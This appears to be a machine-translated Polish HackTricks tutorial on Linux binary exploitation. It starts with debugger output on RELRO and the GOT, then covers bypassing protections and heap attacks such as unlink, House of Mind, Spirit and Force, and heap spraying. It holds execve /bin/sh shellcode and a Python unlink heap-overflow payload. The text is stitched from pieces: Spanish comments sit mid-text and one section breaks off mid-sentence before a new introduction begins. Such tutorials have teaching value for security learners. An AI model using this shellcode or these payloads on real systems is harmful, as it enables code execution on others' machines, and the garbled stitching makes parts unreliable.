0x0000555555554000 0x0000555555555000 0x0000000000000000 r-- /tmp/tryc
0x0000555555555000 0x0000555555556000 0x0000000000001000 r-x /tmp/tryc
0x0000555555556000 0x0000555555557000 0x0000000000002000 r-- /tmp/tryc
0x0000555555557000 0x0000555555558000 0x0000000000002000 r-- /tmp/tryc
0x0000555555558000 0x0000555555559000 0x0000000000003000 rw- /tmp/tryc
0x0000555555559000 0x000055555557a000 0x0000000000000000 rw- [heap]
0x00007ffff7dcb000 0x00007ffff7df0000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7df0000 0x00007ffff7f63000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f63000 0x00007ffff7fac000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fac000 0x00007ffff7faf000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7faf000 0x00007ffff7fb2000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb2000 0x00007ffff7fb8000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤ p fgets
$2 = {char *(char *, int, FILE *)} 0x7ffff7e4d100 <_IO_fgets>
gef➤ search-pattern 0x7ffff7e4d100
[+] Searching '\x00\xd1\xe4\xf7\xff\x7f' in memory
[+] In '/tmp/tryc'(0x555555557000-0x555555558000), permission=r--
0x555555557fd0 - 0x555555557fe8 → "\x00\xd1\xe4\xf7\xff\x7f[...]"
Bez relro:
gef➤ vmmap
Start End Offset Perm Path
0x0000000000400000 0x0000000000401000 0x0000000000000000 r-- /tmp/try
0x0000000000401000 0x0000000000402000 0x0000000000001000 r-x /tmp/try
0x0000000000402000 0x0000000000403000 0x0000000000002000 r-- /tmp/try
0x0000000000403000 0x0000000000404000 0x0000000000002000 r-- /tmp/try
0x0000000000404000 0x0000000000405000 0x0000000000003000 rw- /tmp/try
0x0000000000405000 0x0000000000426000 0x0000000000000000 rw- [heap]
0x00007ffff7dcb000 0x00007ffff7df0000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7df0000 0x00007ffff7f63000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f63000 0x00007ffff7fac000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fac000 0x00007ffff7faf000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7faf000 0x00007ffff7fb2000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb2000 0x00007ffff7fb8000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤ p fgets
$2 = {char *(char *, int, FILE *)} 0x7ffff7e4d100 <_IO_fgets>
gef➤ search-pattern 0x7ffff7e4d100
[+] Searching '\x00\xd1\xe4\xf7\xff\x7f' in memory
[+] In '/tmp/try'(0x404000-0x405000), permission=rw-
0x404018 - 0x404030 → "\x00\xd1\xe4\xf7\xff\x7f[...]"
Dla binarnego pliku bez relro możemy zobaczyć, że adres wpisu got
dla funkcji fgets
to 0x404018
. Patrząc na mapowanie pamięci, widzimy, że mieści się między 0x404000
a 0x405000
, co oznacza, że ma uprawnienia rw
, co oznacza, że możemy go odczytywać i zapisywać. Dla binarnego pliku z relro, widzimy, że adres tabeli got
dla uruchomienia binarnego (pie jest włączone, więc ten adres się zmieni) to 0x555555557fd0
. W mapowaniu pamięci tego binarnego mieści się między 0x0000555555557000
a 0x0000555555558000
, co oznacza, że ma uprawnienia pamięci r
, co oznacza, że możemy tylko odczytywać.
Więc jaki jest sposób obejścia? Typowe obejście, które stosuję, to po prostu nie zapisuj do obszarów pamięci, które relro powoduje, że są tylko do odczytu, i znajdź inną metodę wykonania kodu.
Należy zauważyć, że aby to się stało, binarny plik musi znać wcześniej adresy funkcji:
- Opóźnione wiązanie: Adres funkcji jest wyszukiwany przy pierwszym wywołaniu funkcji. Dlatego GOT musi mieć uprawnienia do zapisu podczas wykonywania.
- Wiązanie teraz: Adresy funkcji są rozwiązywane na początku wykonywania, a następnie nadawane są uprawnienia tylko do odczytu dla sekcji wrażliwych, takich jak .got, .dtors, .ctors, .dynamic, .jcr.
`**
-z relro**
y**
-z now`**
Aby sprawdzić, czy program używa Wiązania teraz, można to zrobić:
readelf -l /proc/ID_PROC/exe | grep BIND_NOW
Kiedy binarny jest ładowany do pamięci i funkcja jest wywoływana po raz pierwszy, skacze się do PLT (Procedure Linkage Table), a stamtąd następuje skok (jmp) do GOT i odkrywa, że ten wpis nie został rozwiązany (zawiera następną adres z PLT). Następnie wywołuje Runtime Linker lub rtfd, aby rozwiązał adres i zapisał go w GOT.
Podczas wywoływania funkcji, wywoływana jest PLT, która zawiera adres GOT, w którym przechowywany jest adres funkcji, więc przekierowuje przepływ tam i wywołuje funkcję. Jednak jeśli jest to pierwsze wywołanie funkcji, to co jest w GOT to następna instrukcja z PLT, dlatego przepływ podąża za kodem PLT (rtfd) i dowiaduje się adresu funkcji, zapisuje go w GOT i wywołuje.
Podczas ładowania binarnego do pamięci, kompilator mówi mu, na jakim przesunięciu należy umieścić dane, które mają być załadowane podczas uruchamiania programu.
Lazy binding -> Adres funkcji jest wyszukiwany tylko przy pierwszym wywołaniu tej funkcji, dlatego GOT ma uprawnienia do zapisu, aby, gdy zostanie wyszukany, zostanie tam zapisany i nie trzeba go ponownie wyszukiwać.
Bind now -> Adresy funkcji są wyszukiwane podczas ładowania programu i zmieniane są uprawnienia sekcji .got, .dtors, .ctors, .dynamic, .jcr na tylko do odczytu. -z relro i -z now
Mimo to, ogólnie rzecz biorąc, programy nie są skomplikowane z tymi opcjami, więc te ataki nadal są możliwe.
readelf -l /proc/ID_PROC/exe | grep BIND_NOW -> Aby sprawdzić, czy używają BIND NOW
Fortify Source -D_FORTIFY_SOURCE=1 lub =2
Próbuje zidentyfikować funkcje, które kopiują dane z jednego miejsca do drugiego w sposób niebezpieczny i zamienia funkcję na bezpieczną funkcję.
Na przykład: char buf[16]; strcpy(buf, source);
Rozpoznaje to jako niebezpieczne i zamienia strcpy() na __strcpy_chk(), używając rozmiaru bufora jako maksymalnego rozmiaru do skopiowania.
Różnica między =1 a =2 polega na tym, że:
Druga nie pozwala na to, aby %n pochodziło z sekcji z uprawnieniami do zapisu. Ponadto, parametr dla bezpośredniego dostępu do argumentów może być używany tylko wtedy, gdy używane są wcześniejsze, czyli można użyć %3$d tylko jeśli wcześniej użyto %2$d i %1$d.
Aby wyświetlić komunikat o błędzie, używa się argv[0], więc jeśli podasz tam adres innego miejsca (takiego jak zmienna globalna), komunikat o błędzie pokaże zawartość tej zmiennej. Strona 191
Zastąpienie Libsafe
Aktywuje się to za pomocą: LD_PRELOAD=/lib/libsafe.so.2 lub "/lib/libsave.so.2" > /etc/ld.so.preload
Niektóre niebezpieczne wywołania funkcji są przechwytywane przez inne bezpieczne wywołania. Nie jest to standaryzowane. (tylko dla x86, nie dla kompilacji z -fomit-frame-pointer, nie dla kompilacji statycznych, nie wszystkie podatne funkcje stają się bezpieczne, a LD_PRELOAD nie działa w binarnych z suid).
ASCII Armored Address Space
Polega na ładowaniu współdzielonych bibliotek od 0x00000000 do 0x00ffffff, aby zawsze istniał bajt 0x00. Jednakże, to naprawdę nie zatrzymuje praktycznie żadnego ataku, a tym bardziej w little endian.
ret2plt
Polega na wykonaniu ROP w taki sposób, że wywoływana jest funkcja strcpy@plt (z plt) i wskaźnik jest skierowany do wpisu w GOT, a następnie kopiowany jest pierwszy bajt funkcji, do której chcemy się odwołać (system()). Następnie to samo jest robione, kierując się na GOT+1 i kopiując drugi bajt system()... Na koniec jest wywoływany adres przechowywany w GOT, który będzie systemem().
Falso EBP
Dla funkcji, które używają EBP jako rejestru wskazującego na argumenty, po zmodyfikowaniu EIP i wskazaniu na system(), EBP również musi zostać zmieniony, aby wskazywał na obszar pamięci zawierający 2 dowolne bajty, a następnie adres &"/bin/sh".
Klatki z chroot()
debootstrap -arch=i386 hardy /home/user -> Instaluje podstawowy system w określonym podkatalogu
Administrator może wyjść z takiej klatki, wykonując: mkdir foo; chroot foo; cd ..
Instrumentacja kodu
Valgrind -> Szuka błędów Memcheck RAD (Return Address Defender) Insure++
8 Przepełnienia sterty: Podstawowe ataki
Przydzielony fragment
prev_size | size | - Nagłówek *mem | Dane
Wolny fragment
prev_size | size | *fd | Wskaźnik do przodu *bk | Wskaźnik do tyłu - Nagłówek *mem | Dane
Wolne fragmenty są przechowywane w liście dwukierunkowej (bin) i nigdy nie mogą występować dwa wolne fragmenty obok siebie (są łączone).
W polu "size" są bity wskazujące: czy poprzedni fragment jest używany, czy fragment został przydzielony za pomocą mmap() i czy fragment należy do głównego obszaru.
Jeśli podczas zwalniania fragmentu którykolwiek z sąsiednich fragmentów jest wolny, są one łączone za pomocą makra unlink() i największy nowy fragment jest przekazywany do frontlink() w celu wstawienia go do odpowiedniego binu.
unlink(){ BK = P->bk; -> BK nowego fragmentu to ten, który miał już wcześniej wolny fragment FD = P->fd; -> FD nowego fragmentu to ten, który miał już wcześniej wolny fragment FD->bk = BK; -> BK następnego fragmentu wskazuje na nowy fragment BK->fd = FD; -> FD poprzedniego fragmentu wskazuje na nowy fragment }
Dlatego jeśli uda nam się zmodyfikować P->bk adresem shellcode i P->fd adresem wpisu w GOT lub DTORS pomniejszonym o 12, osiągniemy:
BK = P->bk = &shellcode FD = P->fd = &dtor_end - 12 FD->bk = BK -> *((&dtor_end - 12) + 12) = &shellcode
W ten sposób po wyjściu z programu zostanie wykonany shellcode.
Dodatkowo, czwarte polecenie unlink() zapisuje coś, a shellcode musi być dostosowany do tego:
BK->fd = FD -> *((&shellcode + 8) = (&dtor_end - 12) -> Spowoduje to zapisanie 4 bajtów od 8 bajtu shellcode, dlatego pierwsza instrukcja shellcode musi być skokiem, aby ominąć to i przejść do nops, które prowadzą do reszty shellcode.
Dl shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
prev_size = pack("<I”, 0xfffffff0) #Interesa que el bit que indica que el anterior trozo está libre esté a 1
fake_size = pack("<I”, 0xfffffffc) #-4, para que piense que el “size” del 3º trozo está 4bytes detrás (apunta a prev_size) pues es ahí donde mira si el 2º trozo está libre
addr_sc = pack("<I", 0x0804a008 + 8) #En el payload al principio le vamos a poner 8bytes de relleno
got_free = pack("<I", 0x08048300 - 12) #Dirección de free() en la plt-12 (será la dirección que se sobrescrita para que se lanza la shellcode la 2º vez que se llame a free)
payload = "aaaabbbb" + shellcode + "b"*(512-len(shellcode)-8) # Como se dijo el payload comienza con 8 bytes de relleno porque sí
payload += prev_size + fake_size + got_free + addr_sc #Se modifica el 2º trozo, el got_free apunta a donde vamos a guardar la direccion addr_sc + 12
os.system("./8.3.o " + payload)
unset() liberando en sentido inverso (wargame)
Kontrolujemy 3 kolejne chunki i są one zwalniane w odwrotnej kolejności do ich rezerwacji.
W tym przypadku:
W chunku c umieszczamy shellcode
Chunk a używamy do nadpisania b w taki sposób, żeby bit PREV_INUSE w polu size był wyłączony, co sprawia, że chunk a jest uważany za wolny.
Dodatkowo, nadpisujemy w nagłówku b pole size, aby miało wartość -4.
W ten sposób program będzie myślał, że "a" jest wolne i znajduje się w binie, więc wywoła unlink(), aby go odłączyć. Jednakże, ponieważ nagłówek PREV_SIZE ma wartość -4, program będzie myślał, że chunk "a" zaczyna się właśnie od b+4. Innymi słowy, wywoła unlink() na chunku, który zaczyna się od b+4, więc na b+12 będzie wskaźnik "fd", a na b+16 będzie wskaźnik "bk".
W ten sposób, jeśli w bk umieścimy adres shellcode, a w fd umieścimy adres funkcji "puts()"-12, mamy nasz payload.
Technika Frontlink
Frontlink jest wywoływany, gdy coś jest zwalniane i żaden z sąsiednich chunków nie jest wolny, wtedy nie jest wywoływane unlink(), tylko bezpośrednio frontlink().
To przydatna podatność, gdy malloc, który jest atakowany, nigdy nie jest zwalniany (free()).
Wymaga:
Bufora, który może być przepełniony za pomocą funkcji wprowadzania danych
Bufora sąsiadującego z nim, który musi zostać zwolniony i którego pole fd w nagłówku zostanie zmodyfikowane dzięki przepełnieniu poprzedniego bufora
Bufora do zwolnienia o rozmiarze większym niż 512, ale mniejszym niż poprzedni bufor
Bufora zadeklarowanego przed krokiem 3, który pozwala na nadpisanie prev_size tego bufora
W ten sposób, poprzez nadpisanie dwóch malloców w sposób niekontrolowany i jednego w sposób kontrolowany, ale tylko zwalnianego jednego, możemy przeprowadzić exploit.
Podatność double free()
Jeśli free() jest wywoływane dwa razy z tym samym wskaźnikiem, powstają dwa biny wskazujące na ten sam adres.
Jeśli chcemy ponownie użyć jednego z nich, zostanie on przypisany bez problemów. Jeśli chcemy użyć innego, zostanie mu przypisana ta sama przestrzeń, więc będziemy mieli sfałszowane wskaźniki "fd" i "bk" z danymi, które zostaną zapisane przez poprzednią rezerwację.
After free()
Wcześniej zwolniony wskaźnik jest ponownie używany bez kontroli.
8 Przepełnienia sterty: Zaawansowane exploitacje
Techniki Unlink() i FrontLink() zostały usunięte przez zmodyfikowanie funkcji unlink().
The house of mind
Wystarczy jedno wywołanie free(), aby spowodować wykonanie dowolnego kodu. Interesuje nas znalezienie drugiego chunka, który może zostać przepełniony przez poprzedni i zwolniony.
Wywołanie free() powoduje wywołanie public_fREe(mem), które wykonuje:
mstate ar_ptr;
mchunkptr p;
…
p = mem2chunk(mes); —> Zwraca wskaźnik na adres, od którego zaczyna się chunk (mem-8)
…
ar_ptr = arena_for_chunk(p); —> chunk_non_main_arena(ptr)?heap_for_ptr(ptr)->ar_ptr:&main_arena [1]
…
_int_free(ar_ptr, mem);
}
W [1] sprawdzane jest pole size i bit NON_MAIN_ARENA, które można zmienić, aby sprawdzenie zwróciło true i wywołało heap_for_ptr(), które wykonuje operację and na "mem", ustawiając na 0 najmniej znaczące 2,5 bajta (w naszym przypadku z 0x0804a000 zostaje 0x08000000) i uzyskuje dostęp do 0x08000000->ar_ptr (jakby to był struct heap_info).
W ten sposób, jeśli możemy kontrolować chunk na przykład w 0x0804a000, a chunk w 0x081002a0 ma zostać zwolniony, możemy dotrzeć do adresu 0x08100000 i zapisać tam dowolne dane, na przykład 0x0804a000. Gdy ten drugi chunk zostanie zwolniony, okaże się, że heap_for_ptr(ptr)->ar_ptr zwraca to, co zapisaliśmy w 0x08100000 (ponieważ jest stosowane and do 0x081002a0, które widzieliśmy wcześniej, i stamtąd pobierana jest wartość pierwszych 4 bajtów, ar_ptr)
W ten sposób wywoływane jest _int_free(ar_ptr, mem), czyli _int_free(0x0804a000, 0x081002a0)
_int_free(mstate av, Void_t* mem){
…
bck = unsorted_chunks(av);
fwd = bck->fd;
p->bk = bck;
p->fd = fwd;
bck->fd = p;
fwd->bk = p;
..}
Jak widzieliśmy wcześniej, możemy kontrolować wartość av, ponieważ jest to to, co piszemy w zwalnianym chunku.
Tak jak jest zdefiniowane unsorted_chunks, wiemy, że:
bck = &av->bins[2]-8;
fwd = bck->fd = *(av->bins[2]);
fwd->bk = *(av->bins[2] + 12) = p;
Dlatego jeśli w av->bins[2] zapiszemy wartość __DTOR_END__-12, w ostatniej instrukcji zostanie zapisane w __DTOR_END__ adres drugiego chunka Ta technika nie jest już stosowana, ponieważ zastosowano prawie ten sam patch co dla unlink. Sprawdza się, czy nowa lokalizacja, do której się odwołuje, również odwołuje się do niego.
Fastbin
Jest to wariant The house of mind.
Interesuje nas wykonanie następującego kodu, który jest osiągany po pierwszej weryfikacji funkcji _int_free()
fb = &(av->fastbins[fastbin_index(size)] —> fastbin_index(sz) —> (sz >> 3) - 2
…
p->fd = *fb
*fb = p
W ten sposób, jeśli wpiszemy "fb", otrzymamy adres funkcji w GOT, na tym adresie zostanie umieszczony adres nadpisanego fragmentu. Aby to osiągnąć, arena musi znajdować się blisko adresów dtors. Dokładniej mówiąc, av->max_fast musi znajdować się pod adresem, który zamierzamy nadpisać.
Ponieważ w The House of Mind zauważono, że kontrolujemy pozycję av.
Jeśli więc w polu size podamy rozmiar 8 + NON_MAIN_ARENA + PREV_INUSE —> fastbin_index() zwróci fastbins[-1], który wskazuje na av->max_fast
W tym przypadku av->max_fast będzie adresem, który zostanie nadpisany (nie wskazuje na niego, ale ta pozycja zostanie nadpisana).
Ponadto, fragment sąsiadujący z uwolnionym fragmentem musi być większy niż 8 -> Ponieważ powiedzieliśmy, że rozmiar uwolnionego fragmentu wynosi 8, w tym fałszywym fragmencie musimy po prostu umieścić rozmiar większy niż 8 (ponieważ shellcode zostanie umieszczony w uwolnionym fragmencie, na początku trzeba umieścić skok, który wpadnie w nops).
Ponadto, ten sam fałszywy fragment musi być mniejszy niż av->system_mem. av->system_mem znajduje się 1848 bajtów dalej.
Ze względu na zera z _DTOR_END_ i niewiele adresów w GOT, żaden z tych adresów sekcji nie nadaje się do nadpisania, więc zobaczmy, jak zastosować fastbin do ataku na stos.
Innym sposobem ataku jest przekierowanie av na stos.
Jeśli zmienimy rozmiar na 16 zamiast 8, wtedy: fastbin_index() zwróci fastbins[0] i możemy z tego skorzystać, aby nadpisać stos.
W tym celu na stosie nie powinno być żadnych canary ani dziwnych wartości, faktycznie musimy być w takim układzie: 4 bajty zerowe + EBP + RET
4 bajty zerowe są potrzebne, aby av było na tym adresie, a pierwszy element av to mutex, który musi wynosić 0.
av->max_fast będzie EBP i będzie wartością, która pozwoli nam ominąć ograniczenia.
W av->fastbins[0] zostanie nadpisany adresem p i będzie to RET, co spowoduje skok do shellcode.
Ponadto, w av->system_mem (1484 bajty powyżej pozycji na stosie) będzie dużo śmieci, które pozwolą nam ominąć sprawdzanie.
Ponadto, fragment sąsiadujący z uwolnionym fragmentem musi być większy niż 8 -> Ponieważ powiedzieliśmy, że rozmiar uwolnionego fragmentu wynosi 16, w tym fałszywym fragmencie musimy po prostu umieścić rozmiar większy niż 8 (ponieważ shellcode zostanie umieszczony w uwolnionym fragmencie, na początku trzeba umieścić skok, który wpadnie w nops, które znajdują się po polu size nowego fałszywego fragmentu).
The House of Spirit
W tym przypadku szukamy wskaźnika na malloc, który może być zmieniony przez atakującego (np. wskaźnik znajduje się na stosie podczas możliwego przepełnienia zmiennej).
W ten sposób możemy sprawić, że ten wskaźnik wskazuje gdziekolwiek. Jednak nie każde miejsce jest ważne, rozmiar fałszywego fragmentu musi być mniejszy niż av->max_fast i bardziej szczegółowo równy rozmiarowi żądanemu w przyszłym wywołaniu malloc()+8. Dlatego, jeśli wiemy, że po tym podatnym wskaźniku następuje wywołanie malloc(40), rozmiar fałszywego fragmentu musi wynosić 48.
Na przykład, jeśli program pyta użytkownika o liczbę, możemy wprowadzić 48 i skierować modyfikowalny wskaźnik malloc na następne 4 bajty (które mogą należeć do EBP, jeśli mamy szczęście, w ten sposób 48 zostaje z tyłu, jakby to była nagłówka size). Ponadto, adres ptr-4+48 musi spełniać kilka warunków (w tym przypadku ptr=EBP), to znaczy, 8 < ptr-4+48 < av->system_mem.
Jeśli to jest spełnione, gdy zostanie wywołane kolejne malloc, które powiedzieliśmy, że jest malloc(40), zostanie mu przypisany adres EBP. Jeśli atakujący może również kontrolować to, co jest zapisywane w tym malloc, może nadpisać zarówno EBP, jak i EIP dowolnym adresem.
Myślę, że jest to dlatego, że kiedy zostanie zwolnione free(), zostanie zapisane, że w miejscu, które wskazuje EBP na stosie, znajduje się fragment o idealnym rozmiarze dla nowego malloc(), który chce zarezerwować, więc przypisuje mu ten adres.
The House of Force
Wymagane jest:
- Przepełnienie fragmentu, które umożliwia nadpisanie wilderness
- Wywołanie malloc() z rozmiarem zdefiniowanym przez użytkownika
- Wywołanie malloc(), których dane mogą być zdefiniowane przez użytkownika
Pierwszą rzeczą, jaką robimy, jest nadpisanie rozmiaru fragmentu wilderness bardzo dużą wartością (0xffffffff), dzięki czemu każde żądanie pamięci wystarczająco duże będzie obsługiwane w _int_malloc() bez konieczności rozszerzania sterty.
Drugą rzeczą jest zmiana av->top, aby wskazywał na obszar pamięci kontrolowany przez atakującego, tak jak stos. W av->top umieszczamy &EIP - 8.
Musimy nadpisać av->top, aby wskazywał na obszar pamięci kontrolowany przez atakującego:
victim = av->top;
remainder = chunck_at_offset(victim, nb);
av->top = remainder;
Victim przechwytuje wartość adresu bieżącego fragmentu wilderness (aktualne av->top), a remainder to dokładnie suma tego adresu plus liczba bajtów żądanych przez malloc(). Dlatego jeśli &EIP-8 znajduje się w 0xbffff224, a av->top zawiera 0x080c2788, to ilość, którą musimy zarezerwować w kontrolowanym mallocu, aby av->top wskazywał na $EIP-8 dla następnego malloc(), wynosi:
0xbffff224 - 0x080c2788 = 3086207644.
W ten sposób
Wprowadzenie
W tym rozdziale omówione zostaną podstawowe techniki wykorzystywane przy atakach na systemy Linux. Przedstawione zostaną dwie metody eksploatacji: nadpisywanie sterty (heap) oraz manipulacja dużymi blokami (LargeBin). Opisane zostaną również techniki heap spraying oraz heap feng shui. Na końcu znajduje się lista przydatnych poleceń i odnośniki do dodatkowych materiałów.
Nadpisywanie sterty (Heap Overflow)
W tej technice wykorzystuje się dwie alokacje pamięci przy użyciu funkcji malloc
. Pierwsza alokacja jest mniejsza od drugiej, tak aby można było nadpisać pierwszy blok po zwolnieniu drugiego bloku i umieszczeniu go w odpowiednim binie. Następnie, poprzez nadpisanie wskaźnika bk
w drugim bloku, można oszukać bin i spowodować, że uwierzy, iż następny blok na liście znajduje się pod fałszywym adresem. W ten sposób, przy kolejnej alokacji, atakujący otrzyma blok o pożądanym adresie, na którym będzie mógł zapisywać dane.
Aby wykorzystać tę podatność, należy wykonać następujące kroki:
- Zaalokować podatny blok.
- Zaalokować blok, który zostanie zmodyfikowany.
- Zwolnić drugi blok.
- Zaalokować blok większy od zwolnionego, aby ten ostatni trafił do odpowiedniego bina.
- Wykorzystać nadpisanie wskaźnika
bk
w drugim bloku, aby wskazywał na pożądany adres. - Poczekać, aż bin zostanie użyty wystarczającą ilość razy, aby uwierzył, że następny blok znajduje się pod fałszywym adresem.
- Otrzymać pożądany blok.
Aby zabezpieczyć się przed tym atakiem, można zastosować standardową metodę sprawdzania, czy blok nie jest fałszywy. Sprawdza się, czy wskaźnik bck->fd
wskazuje na prawdziwy blok. Atakujący musiałby być w stanie w jakiś sposób zapisać odpowiedni adres (prawdopodobnie na stosie) w miejscu wskazywanym przez fałszywy blok, aby wydawał się on prawdziwy.
Manipulacja dużymi blokami (LargeBin Corruption)
W tej technice również wykorzystuje się nadpisywanie wskaźnika bk
, ale dodatkowo trzeba zmodyfikować rozmiar bloku tak, aby różnica między rozmiarem a nb
była mniejsza od MINSIZE
. Na przykład, jeśli ustawimy rozmiar na 1552, to 1552 - 1544 = 8 < MINSIZE
(różnica nie może być ujemna, ponieważ porównywane są liczby bez znaku).
Dodatkowo, wprowadzono łatkę, aby utrudnić atakującemu wykonanie tego ataku.
Heap Spraying
Ta technika polega na zarezerwowaniu jak największej ilości pamięci dla sterty i wypełnieniu jej poduszką z instrukcjami nop
, zakończoną kodem powłoki (shellcode). Jako poduszki używa się wartości 0x0c
. Następnie, próbuje się skoczyć do adresu 0x0c0c0c0c
, aby w przypadku nadpisania jakiegoś wskaźnika i skoku na tę wartość, program wykonał kod powłoki. Podstawową taktyką jest zarezerwowanie jak największej ilości pamięci, aby sprawdzić, czy któryś wskaźnik zostanie nadpisany, a następnie skoczyć do 0x0c0c0c0c
, zakładając, że tam znajdują się instrukcje nop
.
Heap Feng Shui
Ta technika polega na rezerwacji i zwalnianiu pamięci w taki sposób, aby między wolnymi blokami pozostawały zarezerwowane bloki. Bufor, który zostanie nadpisany, zostanie umieszczony w jednym z tych bloków.
Przydatne polecenia
objdump -d executable
- wyświetla rozkłady funkcjiobjdump -d ./PROGRAMA | grep FUNCTION
- pobiera adres funkcjiobjdump -d -Mintel ./shellcodeout
- wyświetla kod asemblera i opcode'yobjdump -t ./exec | grep varBss
- wyświetla adresy zmiennych i funkcjiobjdump -TR ./exec | grep exit(func lib)
- wyświetla adresy funkcji bibliotecznych (GOT)objdump -d ./exec | grep funcCode
objdump -s -j .dtors /exec
objdump -s -j .got ./exec
objdump -t --dynamic-relo ./exec | grep puts
- wyświetla adres funkcjiputs
do nadpisania w GOTobjdump -D ./exec
- wyświetla kod asemblera do wpisów w PLTobjdump -p -/exec
Info functions strncmp
- informacje o funkcji w gdb
Ciekawe kursy
Odnośniki
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć reklamę swojej firmy w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLAN SUBSKRYPCJI!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się swoimi trikami hakerskimi, przesyłając PR do HackTricks i HackTricks Cloud github repos.